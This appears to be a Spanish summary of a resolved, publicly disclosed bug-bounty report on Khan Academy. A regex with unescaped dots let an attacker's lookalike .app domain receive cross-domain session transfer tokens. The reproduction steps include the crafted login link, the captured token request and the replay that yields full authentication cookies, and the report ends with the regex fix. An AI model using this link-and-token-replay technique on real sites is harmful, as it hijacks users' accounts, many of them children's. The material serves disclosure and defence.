Resumen
Khan Academy usa varios subdominios y, para que el usuario no tenga que volver a iniciar sesión al pasar de uno a otro, tiene un mecanismo propio de autenticación entre dominios. Cuando una página de login recibe el parámetro continue con una URL de otro dominio "de confianza", la aplicación genera un token de transferencia de un solo uso ligado a la sesión del usuario y lo añade a la URL de destino. El dominio de destino canjea ese token por una sesión completa.
La lista de dominios de confianza se comprobaba en el frontend con una expresión regular, localizada en libs/urls/src/regexp.ts. El investigador la encontró gracias a que el source map del JavaScript de producción era público (https://cdn.kastatic.org/khanacademy/khanacademy.<hash>.js.map):
KA_DOMAIN_REGEX = /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc.a.run.app)$/
Las dos primeras alternativas están bien escapadas, pero la tercera, pensada para servicios de Google Cloud Run, no: los puntos de uc.a.run.app son el comodín "cualquier carácter" de las expresiones regulares. Eso significa que un dominio con guiones en esas posiciones también encaja, y .app es un dominio de primer nivel que cualquiera puede registrar:
Intended: legitimate-service-6fmjyrz2lq-uc.a.run.app ✓ matches (Legit Cloud Run service)
Unintended: xfarr-6fmjyrz2lq-uc-a-run.app ✓ matches (Attacker-controlled)
El resultado es una redirección abierta hacia un dominio del atacante que, además, arrastra consigo el token de transferencia de sesión de la víctima. Con ese token el atacante obtiene una sesión completa en cualquier subdominio de khanacademy.org.
Pasos de reproducción
- Registrar un dominio que pase el filtro. El investigador registró para la prueba:
`` xfarr-6fmjyrz2lq-uc-a-run.app ``
KA_DOMAIN_REGEX.test() lo acepta porque los puntos sin escapar coinciden con los guiones.
- Montar un servidor HTTPS en ese dominio que registre las peticiones que le lleguen.
- Preparar el enlace trampa, que apunta a un subdominio legítimo de Khan Academy con el dominio del atacante en
continue:
`` https://classroom.khanacademy.org/login?continue=https%3A%2F%2Fxfarr-6fmjyrz2lq-uc-a-run.app%2F ``
Puede enviarse por correo, incluirse en una tarea de clase, publicarse en el foro o por cualquier otro canal. Sirve cualquier subdominio de *.khanacademy.org que use esta función.
- La víctima abre el enlace (con la sesión ya iniciada, o iniciándola en ese momento). En su navegador ocurre lo siguiente:
- La SPA de Khan Academy se carga en
classroom.khanacademy.org. - La lógica de
calculateNextUrlprocesa el parámetrocontinue. isKhanAcademyUrl()valida la URL conKA_DOMAIN_REGEX, y la da por buena.- Como el host de destino (
xfarr-6fmjyrz2lq-uc-a-run.app) es distinto del actual (classroom.khanacademy.org), se ejecutamaybeAddAuthTransfer(). - Esta función llama a
createTransferAuthTokenMutation, que genera el token de un solo uso asociado a la sesión de la víctima. - Se construye la URL
https://xfarr-6fmjyrz2lq-uc-a-run.app/transfer_auth?key=<TOKEN>&continue=/y el navegador de la víctima es redirigido allí.
La víctima solo ve una página 404.
- El atacante recoge el token en su servidor:
`` GET /transfer_auth?key=<TOKEN?>&continue=/ HTTP/1.1 Host: xfarr-6fmjyrz2lq-uc-a-run.app ``
El token sigue siendo válido: quien lo consume es el JavaScript de Khan Academy (transferAuthMutation), y ese código no se ejecuta en el dominio del atacante.
- El atacante reutiliza el token abriendo en su propio navegador (en la prueba, en modo incógnito) un dominio legítimo de Khan Academy con
?key=TOKEN:
- La SPA lee el parámetro
keyy llama atransferAuthMutation, que envía el token al backend en Go. - El backend lo valida contra su base de datos e identifica la cuenta de la víctima.
- La respuesta incluye cabeceras
Set-Cookiecon el juego completo de cookies de autenticación:KAAS(sesión de larga duración),KAAL(acceso de corta duración, con el KAID del usuario),KAAC(contexto de control de acceso) yreauth_token.
A partir de ahí el navegador del atacante está autenticado como la víctima.
Impacto
Toma de control completa de cualquier cuenta de Khan Academy (estudiantes, docentes, familias y administradores de distrito) con un solo clic de la víctima. Según el investigador, el atacante obtiene acceso a:
- Datos personales: correo, fecha de nacimiento y perfil.
- Datos de alumnado: listas de clase con correos y KAID de los estudiantes, informes de progreso y notas de tareas.
- Material docente: documentos generados con Khanmigo, planes de clase y recursos.
- Historial privado de conversaciones con Khanmigo / AI Guide.
- Ajustes de la cuenta: apodo, idioma y preferencias de correo.
- Gestión de clases: renombrar clases, modificar cursos y gestionar estudiantes.
- En cuentas de administrador de distrito, la gestión de centros y del distrito.
Al tratarse de una plataforma educativa con millones de usuarios, muchos de ellos menores, el investigador subraya las implicaciones de privacidad bajo normas como COPPA y FERPA.
Remediación
El reporte figura como resuelto. La corrección que propuso el investigador es escapar los puntos de la última alternativa para que solo coincidan con puntos literales:
- KA_DOMAIN_REGEX = /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc.a.run.app)$/
+ KA_DOMAIN_REGEX = /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc\.a\.run\.app)$/
Con eso, un dominio .app registrado por terceros deja de pasar la validación. El investigador considera que el mecanismo de transferencia de sesión no es el problema de fondo, sino que se aprovecha de este pequeño error. También recomendó no publicar los source maps en producción: no son una vulnerabilidad en sí, pero facilitaron mucho el análisis del código.
Datos del reporte: enviado el 9 de mayo de 2026 y divulgado el 20 de junio de 2026. La debilidad registrada en HackerOne es "Improper Access Control - Generic".